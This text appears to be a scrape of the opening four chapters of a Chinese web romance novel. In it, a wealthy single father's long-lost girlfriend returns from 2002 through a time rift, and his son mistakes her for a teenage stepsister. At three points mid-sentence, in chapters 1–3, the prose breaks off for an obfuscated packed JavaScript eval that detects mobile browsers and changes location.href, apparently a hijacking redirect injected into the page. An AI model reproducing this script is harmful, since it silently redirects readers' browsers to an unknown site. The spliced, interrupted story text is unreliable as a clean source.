《丧偶十八年的父亲恋爱了》 1. 第 1 章 周念是富二代,货真价实的富二代。他爷爷那辈,周家还是工农阶层,赚的是死工资,血汗钱,非常不容易的把他爸供成了名校大学生,而他爸也不负厚望,大学毕业没两年就在发家致富的道路上一路狂奔,几乎赶上了所有新兴行业的行业风口,成为国内各大富豪排行榜上的常客。 人一旦有钱,连八竿子打不着的亲戚都会变得很热情,周念从小跟在爷爷奶奶身边长大,没少和这些趋炎附势的亲戚打交道,受其熏陶和影响,老早就有钻石王老五的概念,也晓得他爸是黄金单身汉。 用周念二舅姥爷家三舅妈的话说,年轻,有钱,又高又帅,还他妈的是白手起家有真才实干,这样的男人就算是放在花果山也是仅次于美猴王的存在。 这种话听得多了,周念心里自然有数,知道他爸很受女人待见,并且做好了会有一个后妈的准备。 虽然总有人在周念耳边絮叨什么有了后妈就有后爸,到时候再来个后弟弟后妹妹,孤苦伶仃的周念就要倒大霉,但周念是个懂事的孩子,一点没为着这些话就横拦竖挡不让他爸找对象。 周念打心眼里觉得他爸一个人挺孤单的,要是能找到一个体贴温柔的妻子,再生几个活泼可爱的孩子,热热闹闹一大家人真的蛮好,反正他爸赚的钱数都数不过来,家里多几个人又不是养不起。 可是一晃十八年,他都成年了,他爸还是一个人。周念心里清楚,他爸是放不下他早逝的妈妈。 仔细想一想,他出生那年他爸才二十岁,连法定结婚年纪都没到就下定决心要生孩子了,这两个人得爱到什么地步啊。 爱人死在最爱时,周念在网上刷到这种文案都不敢看,一看就忍不住要哭。 不过再深的感情十八年也该缅怀完了,周念认为他爸这个年纪,实在该有一个知冷知热的枕边人。 刚巧,周念身边正好就有这么一个合适的人选,是他高中的语文老师,人嘛温婉大方,秀外慧中,年纪嘛三十二岁,正值花期,家庭嘛也算书香世家,父母都是教授级别,关键是,据可靠情报,这位老师也是保持单身了很多年,清清白白又知书达理的成熟女性,周念觉得跟他洁身自好又帅气多金的父亲很是般配。 那么现在唯一的问题就是怎么开口做这个媒了。 说老实话,周念还挺怕周廷之的,毕竟他从小是在爷爷奶奶身边长大,本身和周廷之就不太亲,再加上每次他调皮捣蛋爷爷奶奶都会给周廷之打电话,让周廷之来教训他,日久天长,他一见周廷之就有点本能的打怵。 话虽如此,做媒一事是迫在眉睫。谁让周廷之今年三十八岁了。三十八岁和三十九岁虽然本质上只相差一岁,但三十八岁听着就像霸道总裁,三十九岁则有点中年企业家的味道,这差的就不是一点半点了。 周念有意在周廷之三十八岁这一年解决他的个人问题。 对此周念的好兄弟李乐泉同学表示:“你就是咸吃萝卜淡操心,非要你爸给你找个后妈,生几个跟你争家产的弟弟妹妹你就爽了?” 周念哼一声:“你看你,好庸俗,好狭隘,好丑恶的嘴脸。” 李乐泉撇撇嘴:“行行行,我庸俗,我狭隘,我丑恶嘴脸,你高尚,你大度,你貌美如花。” 要说长相,周念还真担得起貌美如花四个字。周念的模样很像周廷之,眉眼格外出挑,属于是俊中带俏,眸里含情,鼻梁高挺秀气,嘴巴丰润饱满,本来就生得唇红齿白,再加上穿衣打扮都很讲究,乍一看简直像个放大版的bjd娃娃。 这么一个貌美如花的富二代,学习成绩还不赖,说天之骄子也不为过,完全有资格把眼睛长在头顶上,用下巴去看人,可周念这个天之骄子倒是真没什么狗眼看人低的坏毛病,顶多是有点少爷脾气。 李乐泉了解周念的性格,一向不跟他计较:“敢问高尚大度如你,到底打算怎么给你爸做媒啊?” 周念叹一口气:“哎,要是我爷我奶还在就好了。” “你爷爷奶奶在的时候也没少给你爸张罗啊,还不是瞎子点灯白费蜡。” “不是你干嘛总泼我冷水?一会咸吃萝卜淡操心,一会瞎子点灯白费蜡,什么意思啊!” 李乐泉咧嘴一笑:“急什么啊,我就是觉得你被你爷你奶那种老封建思想给荼毒了,这都二零二零年了,难道非要结婚才能幸福吗?保持单身多好,你看我小叔,自从离婚之后,我每次见他身边的女伴都不一样,一个赛着一个的年轻漂亮,问就是朋友,这叫Open relation.” 周念用很嫌弃的眼神看着他说:“你才是被你小叔的新时代思想给荼毒了,我爸才不是你小叔那种人,他要是那种人,我何必操这份心,我又不是二傻子。” 李乐泉一副过来人的口吻:“天下男人都一样,我就不信你爸真能为你妈守身如玉这么多年,除非他是有那方面的隐疾。” 周念眼珠一下子瞪圆了,要吃人的样子:“你爸才有隐疾!” 李乐泉拍拍他的肩膀,语重心长:“我知道,在你眼里你爸就是三百六十度无死角,可你自己摸着良心说,真有这种完美无缺的人吗?” 周念语塞了一下,却还是万分坚定地说:“起码在感情这件事上,我爸就是跟你小叔那种凡夫俗子不一样。” 李乐泉认为跟天真的孩子争论这些事实在没有意义,于是摇摇头说:“凡夫俗子都是没什么精神追求的,我小叔也不算凡夫俗子,他还有个难忘的初恋呢,正儿八经拥有过一段刻骨铭心的爱情。” 周念立刻转移了注意力:“真的?你小叔?” 李乐泉撇了撇嘴:“听起来很扯淡是吧?我告诉你,千真万确,我小时候还在他房间里看到过他初恋的照片,一点不撒谎,真的巨他妈好看。” 聊着聊着话题就扯到天边去了,周念一看时间,竟然已经快要到晚上八点:“欸,帮我叫个车,我得早点回家。” “明天又不上学,这么早回去干嘛,我还想着跟你打一会使命呢。” “最近我爸不是很忙,天天七八点钟就回来了,我早点回去也省得他打电话问我去哪了。” 周廷之其实并不是一个负责任的父亲,他年轻时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338661|167800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙于工作,周念一直是由爷爷奶奶抚养,老人带孩子自然是千娇万宠,溺爱的不像话,而等两个老人去世后,周念回到周廷之身边,周廷之待这个儿子又管教的很严厉。这么极端的两种育儿方式,还赶在青春期切换,周念没有变成一个叛逆的坏小孩,完全是出于对周廷之的孺慕和敬仰。 晚上八点整,周念紧赶慢赶的到了家门口,刚下车就看院里停着一辆黑色慕尚,知道是周廷之回来了,小心脏不由地轻颤了一下。 还没等周念进门,住家阿姨就鬼鬼祟祟的探出头来,朝周念招了招手。 这位住家阿姨照顾周念很多年了,不是亲人也胜似亲人,尤其爷爷奶奶去世后,周念和阿姨的关系更近了一层,这会看到阿姨鬼鬼祟祟,他也不自觉地压低了声音:“琴姨,怎么了?” 琴姨神色古怪,看周念的眼神更古怪,像是怜悯,又像是不忍,还有那么一两分按捺不住的,仿佛要跟人分享什么大八卦的亢奋。 在周念一头雾水的注视下,琴姨吞吞吐吐地开口了,她说:“那个,小念,家里面来客人了,嗯……是你爸的朋友,你爸头一次带朋友回来,你可得对人家态度好一点……” 朋友? 周念脑子转得蛮快,第一时间意识到这个朋友百分之百是个女性,也就是说他爸带了女朋友回家,并且一直待到了晚上八点钟! 这事倒真是怪了,他爸什么时候谈了个女朋友?为什么直接带回家里来?就算要介绍给他认识,也该是在外边找个正式场合吧…… 对于这个横空出世的女朋友,周念心里直犯嘀咕,不过千年铁树开了花,他爸带女朋友回家总归是件好事,周念怎么可能在这个时候公然拆台,他觉得琴姨的嘱咐多少有点多余。 想到这里,周念长舒了口气,整个人放松下来,一边换鞋一边说:“他们是不是在等我呢,怎么也不给我打个电话。” 琴姨站在旁边,欲言又止,脸色跟调色盘似的变化莫测。 而周念并未察觉,他太好奇父亲的女朋友到底是个什么样的人了,把书包往柜子上一丢,趿拉着拖鞋就“啪嗒啪嗒”走了进去:“爸,我回来了。” 家里的景象和周念想象中不太一样。他原本以为客人这个时间没走,是在迁就他,等着他回家,好能让双方正式的见一面,认识一下。可此刻偌大的会客厅里空无一人,他打了声招呼也不见有人出来。 周念凭着本能习惯性的往餐厅走,脚刚迈进去就站在原地怔住了。 餐桌边上坐着的确确实实是一名女性。周念推测她的年纪,应该是和自己差不太多,通常女孩子都早熟,所以难说是比自己大一些还是小一些,不过周念的第一感觉是比自己小,大概率是个处于叛逆期的小姑娘。 毕竟她这会是在别人家里,就穿着件吊带裙,光着脚,大摇大摆的坐在那里吃外卖喝汽水,怎么看也不像一个成熟稳重的成年人。 周念悟了。 怪不得琴姨支支吾吾的那么奇怪,原来他爸也找了一个单亲带娃的女朋友。 天啊,他要有妹妹了! 2. 第 2 章 陶欣这个人打从骨子里就不安分,四五岁的年纪就喜欢滑雪冲浪这些有刺激性的运动,小时候跟爸妈出国旅游也不愿意去逛景点,反而乐忠于雪山草原深林这种颇具原始风貌和挑战性的自然景观。 要说登山这项运动,陶欣实在是个行家了,高中毕业那年才十六岁,就重装徒步尼泊尔ATC大环线,当时的领队一路都在夸她,还学会了一句中文叫人不可貌相。 陶欣被夸得飘飘然了,被夸得对大自然失去了敬畏之心,她怎么也没想到自己会在国内的一座野山头上翻了车,即便早早察觉到了异常,也逃不过瞬息万变的风云,变化莫测的大山。 泥石流来临之际,陶欣是有点害怕,可就只有那么一点,她总觉得自己不至于福薄到这个地步,甚至还想着,等被救出去,就和紧握着她手的男朋友结婚,还要多花些时间陪一陪父母,再给好久不联系的大哥补送一份新婚礼物。 要知道人一生之中遇到泥石流的概率微乎其微,从泥石流中大难不死的概率更是微乎其微微微,而从泥石流中大难不死,一睁眼还来到十八年后的概率更是微到了写进小说都算凑字数的地步。 这种极小概率的事,偏巧让陶欣赶上了。 当地民警把“精神失常”的陶欣带回派出所,所长一看她的长相,马上翻出了2002年泥石流事件的失踪人员信息,随即上报给了“时裂管理局”。 所谓的时裂管理局,其实是个国家机密机构,全称为“时空裂隙综合管理局”。时空裂隙是千禧年间由民间组织暗中进行的一项非法实验,在专项行动组捣毁犯罪窝点时,这项实验已经失去了控制,以至于那几年全省各地相继出现多个时空裂隙,造成多个人员失踪案件,而这些时裂受害者大多会出现在五至八年后。 千禧年后,科技和网络都在高速发展阶段,如果时空裂隙事件传出去,势必会引发社会动荡,民众不安,也许还有更严重的后果,所以时空裂隙综合管理局于2006年正式成立,主要负责时裂受害者的一切善后工作。 而陶欣是目前所有时裂受害者中时间跨度最长的一个,也是社会人际关系变化最大的一个。 整整十八年,对陶欣而言整个世界都已经天翻地覆,即便她早已成年,现如今也无完全民事行为能力,因此管理局一面为她进行心理干预和社会化训练,一面替她寻找合适的监护人,帮助她回归社会,恢复正常生活。 起初并没有人考虑过周廷之,毕竟十八年前只交往了不到半年的男朋友,任谁看来都不是合适的人选,在局长陈平的心目中,最佳人选其实是陶欣同父异母的大哥陶书华。 从血缘关系上考虑,陶书华是陶欣唯一的直系血亲,这世界上没有人比这兄妹俩更亲近;从经济地位层面考虑,陶书华是名校教授,不会让从小养尊处优的陶欣产生太大落差感;从实际生活角度考虑,陶书华比陶欣年长十二岁,十八年后的今天已经年长三十岁,而年过半百的陶书华膝下无儿无女,无亲无故,只有和他相互扶持的妻子。 陈平认为,让陶欣以陶书华远房堂妹的身份回归社会实在是再好不过。一个从小长在国外的堂妹,父母双亡后回国投奔堂哥,如此一来,陶欣能有个亲人依靠,陶书华也能有个晚年保障。 可陈平没有在陶书华那讨到什么好果子吃。陈平原想着,虽然是同父异母的兄妹,但陶欣一口一个大哥叫的那么亲密,这兄妹俩的关系应该是很不错的,陶书华要是知道消失了十八年的妹妹并没有死,还不得高兴的飞起来。陈平和陶书华见面时,甚至为陶书华准备了速效救心丸。 谁承想同父异母这四个字里藏了许许多多的恩怨,陶欣一无所知,陶书华却清清楚楚,陈平准备不充分,连打了好几张感情牌,彻彻底底的激怒了陶书华。 陶书华不仅拒绝做陶欣的监护人,还拒绝和陶欣见面。 不过终究是兄妹,陶书华在将陈平扫地出门之前,给了他周廷之的联系方式。 经过调查后陈平才了解到,陶欣的父母在世时一直和周廷之保持着联系,二老去世后的诸多事宜也是由周廷之帮忙操办。 最重要的是,周廷之至今未婚,男女关系很干净,且相当的事业有成,就那么一个儿子,是人家情有可原的家务事,不值一提。 这么一看陶欣的人际关系里简直没有比他更合适的监护人了。 于是在管理局内部全票通过,并征得受害者本人同意后,陈平在当天中午十二点联系了周廷之,表示有一件与陶欣相关的事需要和他商量,想要登门拜访。 内容大差不差的一通电话,陶书华接到后的第一反应是问“是不是陶欣的尸骨找到了”,这也是所有时裂受害者家属共同的反应。 可周廷之却只问地址,说:“我现在过去。”他似乎一点都不为这通突如其来的电话感到惊讶,反而镇定的像是早就预料到会有这一天。 陈平挂断电话,就觉得这人果然不同凡响,难怪能白手起家干这么大一番事业,与此同时,心里又萌生出一丝担忧。陈平怕三十八岁的周廷之段位太高,会把来自2002年的陶欣吃的骨头渣子都不剩。 担忧之下,陈平不由地婆婆妈妈起来,翻来覆去的对陶欣说:“你要是在那住得不舒服就告诉我,换一个监护人也没什么,有需要我帮忙的随时发微信,别忘了每天都要跟观察员打视频做汇报。” 虽然陈平是好意,但同样的话说多了难免让人不耐烦,陶欣随口答应着,忍不住问周廷之什么时候能到。 下午两点钟,周廷之赶到了管理局,签署完保密协议,了解完详细情况,办完各项手续,真正见到陶欣的时候已经快下午四点了。 这种感觉有点奇怪。对陶欣而言,她和周廷之只分开了不到一个月的时间,而她记忆中的周廷之是个清瘦俊秀的大男孩,头发很短,皮肤白皙,脸上总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338662|167800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有晒伤,看上去一副文文弱弱的样子。 可眼前的周廷之,似乎比二十岁那一年长高了不少,他匆匆忙忙的赶来,还穿着衬衫西裤,挽着袖口,更显的肩膀宽阔,手臂结实,单单是站在那里就让人觉得很有压迫感,也让陶欣感到非常陌生。 不过陶欣把心态调理的还不错,很快就主动开口打破了僵局,她对目不转睛盯着自己的周廷之说:“你生病了吗?怎么戴着口罩?” “没生病。”周廷之的嗓子有些哑,像生了锈的齿轮在竭力运转,而白色医用口罩下掩盖着的脸,也叫人看不清神情。 陶欣收回打量周廷之的目光,转过头问陈平:“陈局长,我们现在可以走了吗?” 其实陈平有意请陶欣吃顿饭,这一来呢,是给陶欣践行,希望她离开管理局后能顺利的融入社会,二来呢,管理局的一众同志加班加点忙活了小一个月,也该好好犒劳一番,至于这第三嘛,陈平想让陶欣和周廷之在他眼皮子底下多相处相处,他观察一下情形,也省得那两个人独处的时候尴尬。 未曾想儿大不由娘,虽然陶欣不是他的儿,但他好歹算陶欣的半个娘嘛,哎……陈平对陶欣这种想要尽快逃离管理局的态度很是失望。 陶欣自然不清楚陈平心里这些嘀嘀咕咕,想尽快逃离倒是真的。 一坐到周廷之的车上陶欣就长舒了一口气,如释重负地说:“太好了,终于自由了,在这个地方住着简直像坐牢,我一个犯人恨不得八百个狱警,睡觉翻身都要打报告,真是的!” 管理局的制度是很严格,这源于最早的时裂受害者,一个年仅二十三岁的新手妈妈,钟晴。据说钟晴是个孤儿,好不容易上了大学,大学一毕业就和高中时谈的男朋友结了婚,很快又生下一个可爱的女儿,生活可以说是幸福又美满。 可就在女儿刚满三个月时,钟晴意外掉入时空裂隙,穿越到了五年后。 五年后,从校服到婚纱的丈夫娶了新的妻子,至亲至爱的女儿哭着喊着叫别人妈妈,属于钟晴的位置完完全全的,彻彻底底的被取代了。 即便丈夫是钟晴唯一的监护人,钟晴也根本不可能融入那个面目全非的家庭,而陈平作为钟晴的观察员,亲眼看着钟晴跳楼自杀了。 所以后来每一个时裂受害者的监护人都是脱离法律范畴,由管理局和时裂受害者本人统一选定的。 周廷之作为陶欣的监护人,自然会从陈平口中得知这段血淋淋的过往,他偏头看了一眼陶欣,声音很轻地说:“之后在我家住,哪里不舒服就随时告诉我。” “放心,我不会跟你客气的。”陶欣想了一下说:“当务之急,我得先去买几身睡衣和内衣,然后好好泡个澡,再吃一顿垃圾食品,我想吃汉堡可乐炸薯条什么的。” 周廷之笑了笑,不像刚才那么客气,而是陶欣熟悉的语气:“没问题,陶小姐今天刚出狱,我当然要为你接风洗尘。” 3. 第 3 章 陶欣看到周念并不惊讶,早在回来的路上周廷之就同她说明过周念的情况。 事情还要从2002年初说起,那时候周廷之的嫂子已经怀孕八个月了,周廷之的哥哥周廷谦以自己一个人照顾不好孕妇的名义将妻子送到了娘家,而后便返回家中与情人幽会,他没想到当天晚上妻子与丈母娘闹矛盾也回了家,并亲眼目睹了丈夫出轨的这一幕。 周廷之的嫂子一贯很要强,怎么能受得了这种羞辱,她不声不响的关了门,下了楼,趁着夜色在周廷谦的车上做了手脚。 于是就在第二天中午,周廷谦和情人驾车外出游玩的路上因刹车失灵撞到了路边的大树,车几乎是瞬间爆炸,周廷谦和情人毫无悬念的双双身亡。 由于这场爆炸太过不寻常,警方很快介入调查,通过两个死者的身份,顺藤摸瓜怀疑到周廷之嫂子身上,可是还没等警察找上门,周廷之的嫂子就在分娩后喝农药自尽了。 人死帐烂,留下一个可怜的孩子,也就是周念。 而周念牙牙学语时说的第一句话是“爸爸”,对着周廷之喊“爸爸”。或许那只是两个简单的音节,但周念的爷爷奶奶看在眼里,却认为是冥冥之中自有天意。 由此生出一个善意的、荒唐的、令人不忍戳破的谎言。 陶欣本来还觉得这件事挺离谱,可一见到周念就多多少少能理解周廷之了,这两人长得这么像,还当儿子养了这么多年,对周廷之来说那还能是假儿子吗?那分明就是货真价实的亲儿子呀! 眼看着周念走到自己面前,陶欣缓缓抬起头,正犹豫要不要打个招呼的时候,周念先开口了。 周念说:“我是周念,我爸应该跟你提过吧。” 陶欣“嗯”了一声,脑子有点转不过来弯,心想周念怎么一副认识她的样子?难道周廷之已经把她的事都告诉了周念? 正纳闷着,周念又以一种自然而然的姿态问:“欸?他们呢?” 陶欣还没转过来弯,稀里糊涂地回答说:“你,呃……你爸在楼上洗澡。” 周念一怔,不自觉重复了一遍:“洗澡?” 见陶欣点头,周念懵了。这时候洗的哪门子澡?欸?等一下!周念看向陶欣微湿的发梢,发现她好像也洗过澡了。 哦!这三个人今天一定是去户外玩来着! 周念面上不声张,心里还真有点小小的不是滋味,毕竟人家女方那边都已经是一家三口一同出游的关系了,他这边才刚刚知道这件事,而且还是当头一棒式的通知。 不过这点小小的不是滋味在他爸的终身大事面前轻如鸿毛。周念怀着牺牲奉献大公无私的精神,对陶欣缓缓展露出一个友善而甜美的笑容。 陶欣终于忍不住问:“你爸跟你说过我的事了?” 周念仍是笑:“还用特意说吗,不知道你怎么想,反正我是喜欢家里人多一点,热闹一点。” 陶欣本来还犯愁以后同住一个屋檐下怎么和周念相处,现在听周念这么说,一下子放松了很多,认为周念实在是一个通情达理的大儿子。 那人家通情达理,她也得拿出点态度吧。陶欣想了想说:“我就住在一楼客房,尽量不会打扰到你,你要是有什么觉得不方便的地方就告诉我。” 啊?已经决定要住进来了?什么意思啊? 周念虽然满脑袋问号,但漂亮话还是说得很周全:“你太见外了,客房多小啊,反正三楼也空着,叫我爸找人重新布置布置,你住正好,到底是女孩子嘛,还是比较需要一个私密空间的。” 陶欣正想客气两句,楼梯方向忽然传来了脚步声,两个人一同望去,只见周廷之站在昏暗的灯光下,面容有些模糊,叫人看不清楚他的神情,可空气中却仿佛流淌着静谧的安然。 “爸。”周念匆匆打了个招呼,视线不住地往楼梯上方扫,像是在找什么人。 周廷之走过来,随手关掉了餐厅上方悬挂的水晶灯,又问周念:“回来多久了?” 周念收回视线,条件反射似的回答:“没一会,五六分钟吧。”他这时候还在心里想,女人洗澡肯定更慢一些,要是再吹个头发化个妆,就保不齐得多久了,刚刚好,趁这个空档他爸能给他讲讲到底是怎么一回事。 思及此处,周念立刻做好了洗耳恭听的准备:“爸,不给我介绍一下吗?” 周廷之的目光掠过他,停留在陶欣身上,竟有一点欲言又止的意味。可很快周廷之就对周念说:“这是我朋友陶欣,她会在家里住一段时间,你们两个要好好相处。” 嗯? 朋友? 不是朋友的女儿? 那朋友她妈呢? 还没等周念理清楚自己的思路,又看到了令他震惊的一幕——周廷之从玄关拿了一双拖鞋过来,俯身放在了陶欣的脚边。 “地下凉,别光着脚到处走。” “哦……” 陶欣穿上拖鞋,笑着对周廷之说:“你儿子和你还真像,怎么连个子都一样高。” “等等……”一旁的儿子终于后知后觉的意识到不对劲了,他看看陶欣,又看看周廷之,紧绷着脸问:“你们俩到底什么关系?” 好问题。 其实傍晚那会和周廷之一起去逛商场的时候,陶欣就很认真的考虑过这个问题了。她和周廷之谈恋爱的时候经常拉着周廷之去逛街,买内衣内裤什么的还让周廷之帮着挑款式,甚至去更衣间里试内衣也要拉着周廷之帮忙系扣子,这些都是随着关系进展自然而然发生的事情。 可是三十八岁的周廷之面对她,难免有些拘谨,害她也跟着束手束脚,不知道是该把周廷之当成分开不到一个月的男朋友,还是分离了整整十八年的老朋友。 陶欣没想好怎么回答,周廷之也保持着沉默。 而在长久的沉默中,周念的脸色愈发难看了,他不由自主地唤了一声“爸”,那动静,简直哀戚。 周廷之的脸上却看不出任何情绪波动,他只是对周念说:“你先回房间去,这件事我晚点再和你解释。” 没有答案,就是答案。 那一瞬间周念的天都塌了,塌的连愤怒和悲伤都忘记了。他失魂落魄的走回房间,看着床头柜上妈妈的照片,在床边呆坐了好久,脑子里只剩下一个念头——完了,是妲己。 殊不知妲己这会面对着纣王也是一团乱。 陶欣看着眼前一言不发,仿佛在法庭上等待宣判的男人,感性又开始撕扯理性了。作为一个智力毫无缺陷的成年女性,陶欣很清楚那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338663|167800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫长的十八年是横在她和他之间的一道鸿沟,如果还以男女朋友的身份相处,将来一定会有数不尽的麻烦。 别的不说,周廷之的大儿子就是首当其冲的难搞,毕竟她才二十出头,怎么能给人做后妈呢。抛开外界因素,周廷之的变化也未免太大了,不止是年龄和外貌,还有人生阅历,社会地位,经济条件……面对三十八岁的周廷之,陶欣没办法像之前那样叫他“小周”。 理性告诉陶欣,这时候或许应该退回到朋友的位置上,以此避免比十八年前凭空消失更惨烈的收场。 可是感性与理性是完全不同的一种东西,感性是深山里的迷雾,是海妖在唱歌,是会给不恰当行为找理由的好辩手。 陶欣猛吸一大口冰可乐,横眉立目地盯着周廷之:“为什么跟你儿子说我是你朋友?我们是朋友吗?你有几个负距离接触的朋友?” 如果说周廷之的防御值是100,那陶欣的攻击力就是101。紧锣密鼓的三连问,终于打破了周廷之的镇静和从容,周廷之不自觉地上前了一步,随后才稍有些窘迫地说:“你知道的,我不是这个意思。” 陶欣站起身,又是一连串发问:“那是什么意思?你在和你儿子解释清楚我们的关系前,是不是应该先和我解释清楚?你有女朋友了?我成前女朋友了?” 周廷之看着近在咫尺的陶欣,神情有些恍惚,不过很快就清醒过来,移开了视线:“我是你的监护人。” 陶欣轻哼一声,嘴皮子利索的像练过相声:“你不否认自己有女朋友了那就是有女朋友了,你不否认我是你前女朋友那我就是你前女朋友,我陶欣是绝对绝对不会和前男友同住在一个屋檐下的!现在我就给陈局长打电话让他来接我回去!” 陶欣说完,连一丝停顿都没有的从短裤里掏出了手机。 周廷之呼吸一滞,下意识握住她的手腕:“别……等一下。” “有何贵干?” “我怕你会后悔……” 咄咄逼人的陶欣脸上露出得逞的笑意:“我就知道你在这跟我装呢。” 周廷之脸色隐隐见红了,他不由地反驳说:“我没装。” 而周廷之这样的反应,倒是让陶欣感到异常亲切,好像他们之间并不存在那消失的十八年,只是短暂的分开了一段时间。 陶欣笑了,她这样一笑,就像变了个人,从步步紧逼的小猎豹变成了一只懒洋洋的温顺大猫,声音都柔软了许多:“其实现在这样也没什么不好,你想啊,那时候我们两个谈恋爱,你总是怕在钱的方面占我便宜,没日没夜的抱着电脑做兼职,我呢,怕你觉得有负担,约会之前总要考虑哪里更省钱,搞到最后,你眼眶黑青走到哪睡到哪,我三天一大窜两天一小窜,说不上我们俩谁比谁难受,都像被妖精吸了精气似的。” “现在好啦。”陶欣挽起周廷之的手臂,看向餐厅落地窗外郁郁葱葱的后花园:“你赚了这么多的钱,我可以想吃什么吃什么,想去哪玩去哪玩,从今往后我的人生只活两个字,消费!” “可是……”周廷之说:“你三十八岁的时候,我已经……” “你现在又不老。”陶欣扭头盯着他的脸,给出一个很客观的评价:“看着也就二十七八的样子嘛,风韵犹存。” 4. 第 4 章 琴姨刚到家里做保姆那会周念才九岁,说起来也算看着周念长大了,打心眼里把这个从小没妈的孩子当成自己孩子一样疼,有时候想着,家里这么冷清,周念那么孤零零,周廷之再婚给周念生两个弟弟妹妹也挺好。 可老话讲有了后妈就有后爸,万一后妈不是个善茬,周廷之又偏爱小儿子小女儿,那周念在家里的日子该多不好过啊。 每每思及此处,琴姨就觉得周廷之这爹当的真难得,别看年轻,真负责任,直接把儿子的悲惨命运给扼杀在摇篮里了。 不过随着周念一年一年长大,琴姨又改变了想法,一想到等周念结婚生子有了自己的小家庭,这么大的家里就只剩周廷之孤孤单单一个人,琴姨都忍不住替周廷之掉几滴眼泪,倒盼着他趁年轻再找个知冷知热的贤内助。 只是琴姨万万没想到,她眼里犹如白莲花般出淤泥而不染的周廷之,竟然也和那些肤浅庸俗的男人一样钟爱永远的十八岁少女。 虽然雇主的个人作风她没有权利评价,但琴姨还是为着这件事难受的一整晚都没怎么睡,不仅是替周念生气,还替自己犯愁。 明天周廷之要出席一个重要场合,这是一早就定下来的,非去不可。等周廷之出了门,家里就剩她和周念,还有那个辣手摧花的小妖精,琴姨光是想想都上火的嘴唇起泡。 可该面对的总是要面对,还得笑着面对。 天一见亮琴姨便起床开始准备周廷之的早餐。周廷之对一日三餐要求不高,只要清清淡淡营养均衡就可以,不像别的雇主,保姆变着花样做,还得弄出个每月食谱,连蛋白质脂肪膳食纤维的含量都必须标注清楚。 在做饭这件事上,琴姨很省心,省心的都觉得对不起自己的高额薪水,所以每天都早起给周廷之和周念煲药膳汤,什么黄芪党参鸽子汤,什么栗子淮山猪蹄汤,总之就是什么费事做什么汤,并且做的心甘情愿,做的毫无怨言。 直到今天。 琴姨刚要下手收拾食材,手机叮咚一声响,是周廷之百年难遇的给她发了一条微信,是一份四菜一汤的早餐食谱。 叮叮咚咚,又几声响。 【周廷之:不好意思琴姐,昨天晚上忘记告诉你,我今早不在家里吃了,他们睡醒估计要九点钟,那时候再做饭吧】 【周廷之:辛苦你早上还要去买菜】 【周廷之:[转账500]】 琴姨本来以为自己是见钱眼开的人,现在看来并非如此。 好你个周廷之啊!你儿子一放假就睡到中午十二点你不知道?还他们睡醒要九点钟!当别人不知道你那遮遮掩掩的小心思吗!天天忙得脚打后脑勺还有闲心给小妖精定制食谱!放着昨天买回来的菜不吃又要买菜!是谁当初说要节约粮食不许浪费的!!! 【刘秀琴:[已退还]】 【刘秀琴:分内的事,不辛苦】 琴姨气得火冒三丈高,平生第一次视金钱为粪土,而算上标点符号加起来总共八个字的回复,更是琴姨作为优秀家政人员对雇主无声的鄙视。 至于这顿早午餐,琴姨做的就别提多心不甘情不愿了,颇有一种伺候晚娘的感觉。 忍气压气的做完饭,不出周廷之所料,九点十分的时候陶欣睡眼惺忪的从客房里走出来了,见了她一点不生分,笑眯眯地打了个招呼说:“琴姐,早啊。” 刘秀琴今年五十二岁,周廷之叫她一声琴姐都略显勉强,从嫩生生的陶欣嘴巴里叫出来,简直是要叫人别扭死。 琴姨别别扭扭的,也不知道该管陶欣叫什么,只好笑着一点头说:“早,饭都做好了,趁热吃吧。” “好香啊,我一推开门就闻见了。”陶欣说着就坐到椅子上,端起碗喝了一大口汤,眼睛亮晶晶的看向琴姨,很夸张的惊叹了一声:“哇,这么鲜。” 琴姨见状,不自觉嘿嘿一笑,紧接着就在心里暗道糟糕。 不好不好大事不妙!小妖精果然本领高强!刚打个照面就对她施展美人计!她要是如此轻易就中招!怎么对得起她从小看到大的周念! 琴姨定了定神,矜持的一抿嘴,做出一副不为所动的模样:“你喜欢就多喝点。” 趁着陶欣吃饭的功夫,琴姨暗暗观察着这个跟周念一般大的小妖精。饶是琴姨不喜欢小小年纪傍大款的陶欣,也不得不承认陶欣的模样实在称得上美丽。漂亮的女孩世间千万,可美丽的却少有,哪怕穿着宽松的睡裙,黑发蓬乱,不施粉黛,坐在那里端着碗喝汤,也有一种清冷疏离的高贵气质,简直像个很有深度很有内涵的大家千金。 琴姨的心有点动摇了。她想凭陶欣这样的长相,找个比周廷之年轻帅气还有钱的应该不成问题,为什么偏偏选择周廷之呢?难不成两个人是真爱? 要说周廷之各方面条件确实很不错,长相在大款这一赛道也算是童话般的存在了,人又那么温和稳重,陶欣跟他在一起未必就是只看重他的钱。 